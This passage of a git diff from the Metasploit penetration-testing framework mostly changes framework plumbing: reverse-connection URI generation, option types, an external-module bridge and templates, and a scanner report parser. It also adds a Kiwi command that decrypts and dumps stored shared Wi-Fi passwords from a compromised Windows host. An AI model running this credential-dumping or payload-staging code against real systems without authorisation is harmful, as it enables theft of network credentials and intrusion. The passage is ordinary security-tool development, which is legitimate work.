Sessions - -### -# -# This class creates a platform-specific meterpreter session type -# -### -class Meterpreter_x86_Mettle_Linux < Msf::Sessions::Meterpreter - def supports_ssl? - false - end - def supports_zlib? - false - end - def initialize(rstream, opts={}) - super - self.base_platform = 'linux' - self.base_arch = ARCH_X86 - end -end - -end -end - diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index d5a9678dc9..c57c13b8b2 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -1,22 +1,75 @@ # -*- coding: binary -*- require 'msf/core/payload/transport_config' +require 'msf/core/payload/uuid/options' require 'base64' module Msf -module Sessions -module MettleConfig + module Sessions + module MettleConfig - include Msf::Payload::TransportConfig + include Msf::Payload::TransportConfig - def generate_config(opts={}) - transport = transport_config_reverse_tcp(opts) - opts[:uuid] ||= generate_payload_uuid - opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip - opts[:uri] ||= "#{transport[:scheme]}://#{transport[:lhost]}:#{transport[:lport]}" - opts.slice(:uuid, :uri, :debug, :log_file) + def generate_uri(opts={}) + ds = opts[:datastore] || datastore + uri_req_len = ds['StagerURILength'].to_i + + # Choose a random URI length between 30 and 128 bytes + if uri_req_len == 0 + uri_req_len = 30 + luri.length + rand(127 - (30 + luri.length)) + end + + if uri_req_len < 5 + raise ArgumentError, "Minimum StagerURILength is 5" + end + + generate_uri_uuid_mode(:init_connect, uri_req_len, uuid: opts[:uuid]) + end + + def generate_http_uri(opts) + if Rex::Socket.is_ipv6?(opts[:lhost]) + target_uri = "#{opts[:scheme]}://[#{opts[:lhost]}]" + else + target_uri = "#{opts[:scheme]}://#{opts[:lhost]}" + end + + target_uri << ':' + target_uri << opts[:lport].to_s + target_uri << luri + target_uri << generate_uri(opts) + target_uri + end + + def generate_tcp_uri(opts) + if Rex::Socket.is_ipv6?(opts[:lhost]) + target_uri = "#{opts[:scheme]}://[#{opts[:lhost]}]" + else + target_uri = "#{opts[:scheme]}://#{opts[:lhost]}" + end + target_uri << ':' + target_uri << opts[:lport].to_s + target_uri + end + + def generate_config(opts={}) + opts[:uuid] ||= generate_payload_uuid + case opts[:scheme] + when 'http' + transport = transport_config_reverse_http(opts) + opts[:uri] = generate_http_uri(transport) + when 'https' + transport = transport_config_reverse_https(opts) + opts[:uri] = generate_http_uri(transport) + when 'tcp' + transport = transport_config_reverse_tcp(opts) + opts[:uri] = generate_tcp_uri(transport) + else + raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + end + opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip + opts.slice(:uuid, :uri, :debug, :log_file) + end + + end end - -end -end end diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index 6698309000..c1eef3c137 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -194,6 +194,8 @@ module Exploit::Remote::SMTPDeliver full_msg << date unless data =~ /date: /i full_msg << subject unless subject.nil? || data =~ /subject: /i full_msg << data + # Escape leading dots in the mail messages so there are no false EOF + full_msg.gsub!(/(?m)^\./, '..') send_status = raw_send_recv("#{full_msg}\r\n.\r\n", nsock) end else diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 637cc6a544..d9a1d7ff4d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -45,7 +45,7 @@ module ReverseHttp register_options( [ - OptString.new('LHOST', [true, 'The local listener hostname']), + OptAddressLocal.new('LHOST', [true, 'The local listener hostname']), OptPort.new('LPORT', [true, 'The local listener port', 8080]), OptString.new('LURI', [false, 'The HTTP Path', '']) ], Msf::Handler::ReverseHttp) diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb index 535cf01219..997316f688 100644 --- a/lib/msf/core/handler/reverse_https_proxy.rb +++ b/lib/msf/core/handler/reverse_https_proxy.rb @@ -38,7 +38,7 @@ module ReverseHttpsProxy register_options( [ - OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]), + OptAddressLocal.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]), OptPort.new('LPORT', [ true, "The local listener port", 8443 ]), OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]), OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]), diff --git a/lib/msf/core/module/external.rb b/lib/msf/core/module/external.rb new file mode 100644 index 0000000000..3e4ac1a451 --- /dev/null +++ b/lib/msf/core/module/external.rb @@ -0,0 +1,23 @@ +module Msf::Module::External + def wait_status(mod) + while mod.running + m = mod.get_status + if m + case m['level'] + when 'error' + print_error m['message'] + when 'warning' + print_warning m['message'] + when 'good' + print_good m['message'] + when 'info' + print_status m['message'] + when 'debug' + vprint_status m['message'] + else + print_status m['message'] + end + end + end + end +end diff --git a/lib/msf/core/modules/external/bridge.rb b/lib/msf/core/modules/external/bridge.rb index b430a970ef..0a031d668c 100644 --- a/lib/msf/core/modules/external/bridge.rb +++ b/lib/msf/core/modules/external/bridge.rb @@ -7,6 +7,10 @@ class Msf::Modules::External::Bridge attr_reader :path, :running + def self.applies?(module_name) + File::executable? module_name + end + def meta @meta ||= describe end @@ -34,6 +38,7 @@ class Msf::Modules::External::Bridge end def initialize(module_path) + self.env = {} self.running = false self.path = module_path end @@ -41,7 +46,7 @@ class Msf::Modules::External::Bridge protected attr_writer :path, :running - attr_accessor :ios + attr_accessor :env, :ios def describe resp = send_receive(Msf::Modules::External::Message.new(:describe)) @@ -57,7 +62,7 @@ class Msf::Modules::External::Bridge end def send(message) - input, output, status = ::Open3.popen3([self.path, self.path]) + input, output, status = ::Open3.popen3(env, [self.path, self.path]) self.ios = [input, output, status] case Rex::ThreadSafe.select(nil, [input], nil, 0.1) when nil @@ -98,3 +103,31 @@ class Msf::Modules::External::Bridge [input, output].each {|fd| fd.close rescue nil} # Yeah, yeah. I know. end end + +class Msf::Modules::External::PyBridge < Msf::Modules::External::Bridge + def self.applies?(module_name) + module_name.match? /\.py$/ + end + + def initialize(module_path) + super + pythonpath = ENV['PYTHONPATH'] || '' + self.env = self.env.merge({ 'PYTHONPATH' => pythonpath + File::PATH_SEPARATOR + File.expand_path('../python', __FILE__) }) + end +end + +class Msf::Modules::External::Bridge + + LOADERS = [ + Msf::Modules::External::PyBridge, + Msf::Modules::External::Bridge + ] + + def self.open(module_path) + LOADERS.each do |klass| + return klass.new module_path if klass.applies? module_path + end + + nil + end +end diff --git a/lib/msf/core/modules/external/python/metasploit/__init__.py b/lib/msf/core/modules/external/python/metasploit/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/lib/msf/core/modules/external/python/metasploit/module.py b/lib/msf/core/modules/external/python/metasploit/module.py new file mode 100644 index 0000000000..288a8065b2 --- /dev/null +++ b/lib/msf/core/modules/external/python/metasploit/module.py @@ -0,0 +1,20 @@ +import sys, os, json + +def log(message, level='info'): + print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': { + 'level': level, + 'message': message + }})) + sys.stdout.flush() + +def run(metadata, exploit): + req = json.loads(os.read(0, 10000)) + if req['method'] == 'describe': + print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})) + elif req['method'] == 'run': + args = req['params'] + exploit(args) + print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': { + 'message': 'Exploit completed' + }})) + sys.stdout.flush() diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb index 62395dbf60..4c47d945c8 100644 --- a/lib/msf/core/modules/external/shim.rb +++ b/lib/msf/core/modules/external/shim.rb @@ -4,98 +4,56 @@ require 'msf/core/modules/external/bridge' class Msf::Modules::External::Shim def self.generate(module_path) - mod = Msf::Modules::External::Bridge.new(module_path) + mod = Msf::Modules::External::Bridge.open(module_path) return '' unless mod.meta case mod.meta['type'] - when 'remote_exploit.cmd_stager.wget' + when 'remote_exploit_cmd_stager' remote_exploit_cmd_stager(mod) end end + def self.render_template(name, meta = {}) + template = File.join(File.dirname(__FILE__), 'templates', name) + ERB.new(File.read(template)).result(binding) + end + + def self.common_metadata(meta = {}) + render_template('common_metadata.erb', meta) + end + + def self.mod_meta_common(mod, meta = {}) + meta[:path] = mod.path.dump + meta[:name] = mod.meta['name'].dump + meta[:description] = mod.meta['description'].dump + meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ") + meta[:date] = mod.meta['date'].dump + meta[:references] = mod.meta['references'].map do |r| + "[#{r['type'].upcase.dump}, #{r['ref'].dump}]" + end.join(",\n ") + + meta[:options] = mod.meta['options'].map do |n, o| + "Opt#{o['type'].capitalize}.new(#{n.dump}, + [#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])" + end.join(",\n ") + meta + end + + def self.mod_meta_exploit(mod, meta = {}) + meta[:wfsdelay] = mod.meta['wfsdelay'] || 5 + meta[:privileged] = mod.meta['privileged'].inspect + meta[:platform] = mod.meta['targets'].map do |t| + t['platform'].dump + end.uniq.join(",\n ") + meta[:targets] = mod.meta['targets'].map do |t| + "[#{t['platform'].dump} + ' ' + #{t['arch'].dump}, {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]" + end.join(",\n ") + meta + end + def self.remote_exploit_cmd_stager(mod) - %Q| -require 'msf/core/modules/external/bridge' - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super(update_info(info, - 'Name' => #{mod.meta['name'].dump}, - 'Description' => #{mod.meta['description'].dump}, - 'Author' => - [ - #{mod.meta['authors'].map(&:dump).join(', ')} - ], - 'License' => MSF_LICENSE, - 'References' => - [ - #{mod.meta['references'].map do |r| - "[#{r['type'].upcase.dump}, #{r['ref'].dump}]" - end.join(', ')} - ], - 'DisclosureDate' => #{mod.meta['date'].dump}, - 'Privileged' => #{mod.meta['privileged'].inspect}, - 'Platform' => [#{mod.meta['targets'].map{|t| t['platform'].dump}.uniq.join(', ')}], - 'Payload' => - { - 'DisableNops' => true - }, - 'Targets' => - [ - #{mod.meta['targets'].map do |t| - %Q^[#{t['platform'].dump} + ' ' + #{t['arch'].dump}, - {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]^ - end.join(', ')} - ], - 'DefaultTarget' => 0, - 'DefaultOptions' => { 'WfsDelay' => 5 } - )) - - register_options([ - #{mod.meta['options'].map do |n, o| - "Opt#{o['type'].capitalize}.new(#{n.dump}, - [#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])" - end.join(', ')} - ], self.class) - end - - def execute_command(cmd, opts) - mod = Msf::Modules::External::Bridge.new(#{mod.path.dump}) - mod.run(datastore.merge(command: cmd)) - wait_status(mod) - true - end - - def exploit - print_status("Exploiting...") - execute_cmdstager({:flavor => :wget}) - end - - def wait_status(mod) - while mod.running - m = mod.get_status - if m - case m['level'] - when 'error' - print_error m['message'] - when 'warning' - print_warning m['message'] - when 'good' - print_good m['message'] - when 'info' - print_status m['message'] - when 'debug' - vprint_status m['message'] - else - print_status m['message'] - end - end - end - end -end - | + meta = mod_meta_common(mod) + meta = mod_meta_exploit(mod, meta) + meta[:command_stager_flavor] = mod.meta['payload']['command_stager_flavor'].dump + render_template('remote_exploit_cmd_stager.erb', meta) end end diff --git a/lib/msf/core/modules/external/templates/common_metadata.erb b/lib/msf/core/modules/external/templates/common_metadata.erb new file mode 100644 index 0000000000..a1dcc9e11e --- /dev/null +++ b/lib/msf/core/modules/external/templates/common_metadata.erb @@ -0,0 +1,7 @@ + 'Name' => <%= meta[:name] %>, + 'Description' => <%= meta[:description] %>, + 'Author' => + [ + <%= meta[:authors] %> + ], + 'License' => MSF_LICENSE, diff --git a/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb b/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb new file mode 100644 index 0000000000..a6cb0d2465 --- /dev/null +++ b/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb @@ -0,0 +1,48 @@ +require 'msf/core/modules/external/bridge' +require 'msf/core/module/external' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Module::External + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + <%= common_metadata meta %> + 'References' => + [ + <%= meta[:references] %> + ], + 'DisclosureDate' => <%= meta[:date] %>, + 'Privileged' => <%= meta[:privileged] %>, + 'Platform' => [<%= meta[:platform] %>], + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + <%= meta[:targets] %> + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'WfsDelay' => <%= meta[:wfsdelay] %> } + )) + + register_options([ + <%= meta[:options] %> + ]) + end + + def execute_command(cmd, opts) + mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>) + mod.run(datastore.merge(command: cmd)) + wait_status(mod) + true + end + + def exploit + print_status("Exploiting...") + execute_cmdstager({:flavor => :<%= meta[:command_stager_flavor] %>}) + end +end diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index a1a53a2c87..2d0a719fd2 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -28,7 +28,7 @@ module Msf # @return [OptAddress] def self.LHOST(default=nil, required=true, desc="The listen address") - Msf::OptAddress.new(__method__.to_s, [ required, desc, default ]) + Msf::OptAddressLocal.new(__method__.to_s, [ required, desc, default ]) end # @return [OptPort] diff --git a/lib/msf/core/opt_address_local.rb b/lib/msf/core/opt_address_local.rb new file mode 100644 index 0000000000..f5eb40050c --- /dev/null +++ b/lib/msf/core/opt_address_local.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- +require 'network_interface' + +module Msf + +### +# +# Network address option. +# +### +class OptAddressLocal < OptAddress + def normalize(value) + return nil unless value.kind_of?(String) + + if NetworkInterface.interfaces.include?(value) + ip_address = NetworkInterface.addresses(value).values.flatten.collect{|x| x['addr']}.select do |addr| + begin + IPAddr.new(addr).ipv4? + rescue IPAddr::InvalidAddressError => e + false + end + end + + return false if ip_address.blank? + return ip_address.first + end + + return value + end + + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) + return false unless value.kind_of?(String) or value.kind_of?(NilClass) + + return true if NetworkInterface.interfaces.include?(value) + + return super + end +end + +end diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index fced7cf9e3..1c6e26a42b 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -7,6 +7,7 @@ module Msf autoload :OptBase, 'msf/core/opt_base' autoload :OptAddress, 'msf/core/opt_address' + autoload :OptAddressLocal, 'msf/core/opt_address_local' autoload :OptAddressRange, 'msf/core/opt_address_range' autoload :OptBool, 'msf/core/opt_bool' autoload :OptEnum, 'msf/core/opt_enum' diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index 02d3ebb248..c8a3e0629f 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -411,6 +411,10 @@ module Msf # Allow comma separated list of encoders so users can choose several encoder.split(',').each do |chosen_encoder| e = framework.encoders.create(chosen_encoder) + if e.nil? + cli_print "Skipping invalid encoder #{chosen_encoder}" + next + end e.datastore.import_options_from_hash(datastore) encoders << e if e end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index e29343a1ab..731a5ea683 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -827,10 +827,33 @@ class Core end def cmd_route_help - print_line "Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]" - print_line print_line "Route traffic destined to a given subnet through a supplied session." - print_line "The default comm is Local." + print_line + print_line "Usage:" + print_line " route [add/remove] subnet netmask [comm/sid]" + print_line " route [add/remove] cidr [comm/sid]" + print_line " route [get] " + print_line " route [flush]" + print_line " route [print]" + print_line + print_line "Subcommands:" + print_line " add - make a new route" + print_line " remove - delete a route; 'del' is an alias" + print_line " flush - remove all routes" + print_line " get - display the route for a given target" + print_line " print - show all active routes" + print_line + print_line "Examples:" + print_line " Add a route for all hosts from 192.168.0.0 to 192.168.0.0 through session 1" + print_line " route add 192.168.0.0 255.255.255.0 1" + print_line " route add 192.168.0.0/24 1" + print_line + print_line " Delete the above route" + print_line " route remove 192.168.0.0/24 1" + print_line " route del 192.168.0.0 255.255.255.0 1" + print_line + print_line " Display the route that would be used for the given host or network" + print_line " route get 192.168.0.11" print_line end diff --git a/lib/net/dns/names/names.rb b/lib/net/dns/names/names.rb index b483368877..0352b554d6 100644 --- a/lib/net/dns/names/names.rb +++ b/lib/net/dns/names/names.rb @@ -19,7 +19,7 @@ module Net # :nodoc: name = "" packetlen = packet.size while true - raise ExpandError, "offset is greater than packet lenght!" if packetlen < (offset+1) + raise ExpandError, "offset is greater than packet length!" if packetlen < (offset+1) len = packet.unpack("@#{offset} C")[0] if len == 0 diff --git a/lib/rex/parser/acunetix_nokogiri.rb b/lib/rex/parser/acunetix_nokogiri.rb index a873974823..188a38187f 100644 --- a/lib/rex/parser/acunetix_nokogiri.rb +++ b/lib/rex/parser/acunetix_nokogiri.rb @@ -24,6 +24,7 @@ module Rex def start_document @parse_warnings = [] @resolv_cache = {} + @host_object = nil end def start_element(name=nil,attrs=[]) @@ -32,9 +33,12 @@ module Rex @state[:current_tag][name] = true case name when "Scan" # Start of the thing. - when "Name", "StartURL", "Banner", "Os" + @state[:report_item] = {} + when "Name", "StartURL", "StartTime", "Banner", "Os", "Text", "Severity", "CWE", "URL", "Parameter" @state[:has_text] = true when "LoginSequence" # Skipping for now + when "ReportItem" + @state[:report_item] = {} when "Crawler" record_crawler(attrs) when "FullURL" @@ -62,14 +66,56 @@ module Rex # StartURL does not always include the scheme @text.prepend("http://") unless URI.parse(@text).scheme collect_host - collect_service + collect_service_from_url @text = nil handle_parse_warnings &block - host_object = report_host &block - if host_object - report_starturl_service(host_object,&block) - db.report_import_note(@args[:wspace],host_object) + @host_object = report_host &block + if @host_object + report_starturl_service(&block) + db.report_import_note(@args[:wspace],@host_object) end + when "StartTime" + @state[:has_text] = false + @state[:timestamp] = @text.to_s.tr!(',','').tr!('/','-') + @text = nil + when "Text" + @state[:has_text] = false + service = collect_service_from_kbitem_text + @text = nil + return unless service + handle_parse_warnings &block + if @host_object + report_kbitem_service(service,&block) + end + when "Severity" + @state[:has_text] = false + collect_report_item_severity + @text = nil + when "CWE" + @state[:has_text] = false + collect_report_item_cwe + @text = nil + when "URL" + @state[:has_text] = false + collect_report_item_reference_url + @text = nil + when "Parameter" + @state[:has_text] = false + collect_report_item_parameter + @text = nil + when "ReportItem" + vuln = collect_vuln_from_report_item + if vuln.nil? + @state[:page_request] = @state[:page_response] = nil + return + end + handle_parse_warnings &block + if @state[:vuln_info][:refs].nil? + report_web_vuln(&block) + else + report_other_vuln(&block) + end + @state[:page_request] = @state[:page_response] = nil when "Banner" @state[:has_text] = false collect_and_report_banner @@ -134,7 +180,7 @@ module Rex @report_data[:state] = Msf::HostState::Alive end - def collect_service + def collect_service_from_url return unless @report_data[:host] return unless in_tag("Scan") return unless @text @@ -146,6 +192,44 @@ module Rex @report_data[:ports] << @state[:starturl_port] end + def collect_service_from_kbitem_text + return unless @host_object + return unless in_tag("Scan") + return unless in_tag("KBase") + return unless in_tag("KBItem") + return unless @text + return if @text.strip.empty? + return unless @text =~ /server is running/ + matched = / (?\w+) server is running on (?\w+) port (?\d+)\./.match(@text) + @report_data[:ports] ||= [] + @report_data[:ports] << matched[:portnum] + return matched + end + + def collect_vuln_from_report_item + @state[:vuln_info] = nil + return unless @host_object + return unless in_tag("Scan") + return unless in_tag("ReportItems") + return unless in_tag("ReportItem") + return unless @state[:report_item][:name] + return unless @state[:report_item][:severity] + return unless @state[:report_item][:severity].downcase == "high" + + @state[:vuln_info] = {} + @state[:vuln_info][:name] = @state[:report_item][:name] + if @state[:page_request_verb].nil? && @state[:report_item][:name] =~ /deprecated/ + # Treating this as a regular vuln, not web-specific + @state[:vuln_info][:refs] = ["ACX-#{@state[:report_item][:reference_url]}"] + unless @state[:report_item_cwe].nil? + @state[:vuln_info][:refs][0] << ",#{@state[:report_item][:cwe]}" + end + end + @state[:vuln_info][:severity] = @state[:report_item][:severity].downcase + @state[:vuln_info][:cwe] = @state[:report_item][:cwe] + return @state[:vuln_info] + end + def collect_and_report_banner return unless (svc = @state[:starturl_service_object]) # Yes i want assignment return unless @text @@ -165,7 +249,37 @@ module Rex return unless in_tag("ReportItem") return unless @text return if @text.strip.empty? - @state[:report_item] = @text + @state[:report_item][:name] = @text + end + + def collect_report_item_severity + return unless in_tag("ReportItem") + return unless @text + return if @text.strip.empty? + @state[:report_item][:severity] = @text + end + + def collect_report_item_cwe + return unless in_tag("ReportItem") + return unless @text + return if @text.strip.empty? + @state[:report_item][:cwe] = @text + end + + def collect_report_item_reference_url + return unless in_tag("ReportItem") + return unless in_tag("References") + return unless in_tag("Reference") + return unless @text + return if @text.strip.empty? + @state[:report_item][:reference_url] = @text + end + + def collect_report_item_parameter + return unless in_tag("ReportItem") + return unless @text + return if @text.strip.empty? + @state[:report_item][:parameter] = @text end # @state[:fullurl] is set by report_web_site @@ -211,20 +325,26 @@ module Rex def report_web_page(&block) return if should_skip_this_page return unless @state[:web_site] + @state[:page_request_verb] = nil return unless @state[:page_request] return if @state[:page_request].strip.empty? - return unless @state[:page_response] - return if @state[:page_response].strip.empty? - path,query_string = parse_request(@state[:page_request]) + verb,path,query_string = parse_request(@state[:page_request]) return unless path - parsed_response = parse_response(@state[:page_response]) - return unless parsed_response + @state[:page_request_verb] = verb web_page_info = {} + if @state[:page_response].strip.blank? + web_page_info[:code] = "" + web_page_info[:headers] = {} + web_page_info[:body] = "" + else + parsed_response = parse_response(@state[:page_response]) + return unless parsed_response + web_page_info[:code] = parsed_response[:code].to_i + web_page_info[:headers] = parsed_response[:headers] + web_page_info[:body] = parsed_response[:body] + end web_page_info[:web_site] = @state[:web_site] web_page_info[:path] = path - web_page_info[:code] = parsed_response[:code].to_i - web_page_info[:headers] = parsed_response[:headers] - web_page_info[:body] = parsed_response[:body] web_page_info[:query] = query_string || "" url = "" url << @state[:web_site].service.name.to_s << "://" @@ -234,13 +354,51 @@ module Rex return unless uri # Sanity checker db.emit(:web_page, url, &block) if block web_page_object = db_report(:web_page,web_page_info) - @state[:page_request] = @state[:page_response] = nil @state[:web_page] = web_page_object end + def report_web_vuln(&block) + return if should_skip_this_page + return unless @state[:web_page] + return unless @state[:web_site] + return unless @state[:vuln_info] + + web_vuln_info = {} + web_vuln_info[:web_site] = @state[:web_site] + web_vuln_info[:path] = @state[:web_page][:path] + web_vuln_info[:query] = @state[:web_page][:query] + web_vuln_info[:method] = @state[:page_request_verb] + web_vuln_info[:pname] = "" + if @state[:page_response].blank? + web_vuln_info[:proof] = "" + else + web_vuln_info[:proof] = @state[:page_response] + end + web_vuln_info[:risk] = 5 + web_vuln_info[:params] = [] + unless @state[:report_item][:parameter].blank? + # Acunetix only lists a single paramter... + web_vuln_info[:params] << [ @state[:report_item][:parameter].to_s, "" ] + end + web_vuln_info[:category] = "imported" + web_vuln_info[:confidence] = 100 + web_vuln_info[:name] = @state[:vuln_info][:name] + + db.emit(:web_vuln, web_vuln_info[:name], &block) if block + vuln = db_report(:web_vuln, web_vuln_info) + end + + def report_other_vuln(&block) + return if should_skip_this_page + return unless @state[:vuln_info] + + db.emit(:vuln, @state[:vuln_info][:name], &block) if block + db_report(:vuln, @state[:vuln_info].merge(:host => @host_object)) + end + # Reasons why we shouldn't collect a particular web page. def should_skip_this_page - if @state[:report_item] =~ /Unrestricted File Upload/ + if @state[:report_item][:name] =~ /Unrestricted File Upload/ # This means that the page being collected is something the # auditor put there, so it's not useful to report on. return true @@ -259,6 +417,7 @@ module Rex return unless verb return unless req path,query_string = req.split(/\?/)[0,2] + return verb,path,query_string end def parse_response(response) @@ -302,14 +461,14 @@ module Rex # The service is super important, so we hang on to it for the # rest of the scan. - def report_starturl_service(host_object,&block) - return unless host_object + def report_starturl_service(&block) + return unless @host_object return unless @state[:starturl_uri] name = @state[:starturl_uri].scheme port = @state[:starturl_uri].port - addr = host_object.address + addr = @host_object.address svc = { - :host => host_object, + :host => @host_object, :port => port, :name => name.dup, :proto => "tcp" @@ -320,6 +479,22 @@ module Rex end end + def report_kbitem_service(service,&block) + return unless @host_object + return unless @state[:starturl_uri] + addr = @host_object.address + svc = { + :host => @host_object, + :port => service[:portnum].to_i, + :name => service[:name].dup.downcase, + :proto => service[:proto].dup.downcase + } + if service[:name] and service[:portnum] + db.emit(:service,[addr,service[:portnum]].join(":"),&block) if block + db_report(:service,svc) + end + end + def report_web_site(url,&block) return unless in_tag("Crawler") return unless url diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index ac42c0c0f8..ef005cd23d 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -66,7 +66,7 @@ module Rex # @param len [Integer] An optional URI length value, including the leading slash # @return [String] The URI string for connections def generate_uri_uuid(sum, uuid, len=nil) - curl_uri_len = URI_CHECKSUM_UUID_MIN_LEN+rand(URI_CHECKSUM_CONN_MAX_LEN-URI_CHECKSUM_UUID_MIN_LEN) + curl_uri_len = URI_CHECKSUM_UUID_MIN_LEN + rand(URI_CHECKSUM_CONN_MAX_LEN - URI_CHECKSUM_UUID_MIN_LEN) curl_prefix = uuid.to_uri if len diff --git a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb index 7858873d3e..57b51b469a 100644 --- a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +++ b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb @@ -379,6 +379,57 @@ class Kiwi < Extension content.join('') end + # + # Access and parse a set of wifi profiles using the given interfaces + # list, which contains the list of profile xml files on the target. + # + # @return [Hash] + def wifi_parse_shared(wifi_interfaces) + results = [] + + exec_cmd('"base64 /in:off /out:on"') + wifi_interfaces.keys.each do |key| + interface = { + :guid => key, + :desc => nil, + :state => nil, + :profiles => [] + } + + wifi_interfaces[key].each do |wifi_profile_path| + cmd = "\"dpapi::wifi /in:#{wifi_profile_path} /unprotect\"" + output = exec_cmd(cmd) + + lines = output.lines + + profile = { + :name => nil, + :auth => nil, + :key_type => nil, + :shared_key => nil + } + + while lines.length > 0 do + line = lines.shift.strip + if line =~ /^\* SSID name\s*: (.*)$/ + profile[:name] = $1 + elsif line =~ /^\* Authentication\s*: (.*)$/ + profile[:auth] = $1 + elsif line =~ /^\* Key Material\s*: (.*)$/ + profile[:shared_key] = $1 + end + end + + interface[:profiles] << profile + end + + results << interface + end + exec_cmd('"base64 /in:on /out:on"') + + results + end + # # List all the wifi interfaces and the profiles associated # with them. Also show the raw text passwords for each. diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb index 5cd9fd0dd9..6074c23a92 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb @@ -72,7 +72,8 @@ class Console::CommandDispatcher::Kiwi 'kerberos_ticket_list' => 'List all kerberos tickets (unparsed)', 'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)', 'lsa_dump_sam' => 'Dump LSA SAM (unparsed)', - 'wifi_list' => 'List wifi profiles/creds', + 'wifi_list' => 'List wifi profiles/creds for the current user', + 'wifi_list_shared' => 'List shared wifi profiles/creds (requires SYSTEM)', } end @@ -303,37 +304,50 @@ class Console::CommandDispatcher::Kiwi end # - # Dump all the wifi profiles/credentials + # Dump all the shared wifi profiles/credentials + # + def cmd_wifi_list_shared(*args) + interfaces_dir = '%AllUsersProfile%\Microsoft\Wlansvc\Profiles\Interfaces' + interfaces_dir = client.fs.file.expand_path(interfaces_dir) + files = client.fs.file.search(interfaces_dir, '*.xml', true) + + if files.length == 0 + print_error('No shared WiFi profiles found.') + else + interfaces = {} + files.each do |f| + interface_guid = f['path'].split("\\")[-1] + full_path = "#{f['path']}\\#{f['name']}" + + interfaces[interface_guid] ||= [] + interfaces[interface_guid] << full_path + end + results = client.kiwi.wifi_parse_shared(interfaces) + + if results.length > 0 + display_wifi_profiles(results) + else + print_line + print_error('No shared wireless profiles found on the target.') + end + end + + true + end + + # + # Dump all the wifi profiles/credentials for the current user # def cmd_wifi_list(*args) results = client.kiwi.wifi_list - if results.length > 0 - results.each do |r| - table = Rex::Text::Table.new( - 'Header' => "#{r[:desc]} - #{r[:guid]}", - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => [ - 'Name', 'Auth', 'Type', 'Shared Key' - ] - ) - - print_line - r[:profiles].each do |p| - table << [p[:name], p[:auth], p[:key_type], p[:shared_key]] - end - - print_line(table.to_s) - print_line("State: #{r[:state]}") - end + display_wifi_profiles(results) else print_line print_error('No wireless profiles found on the target.') end - print_line - return true + true end @@creds_opts = Rex::Parser::Arguments.new( @@ -401,6 +415,30 @@ class Console::CommandDispatcher::Kiwi protected + def display_wifi_profiles(profiles) + profiles.each do |r| + header = r[:guid] + header = "#{r[:desc]} - #{header}" if r[:desc] + table = Rex::Text::Table.new( + 'Header' => header, + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => [ + 'Name', 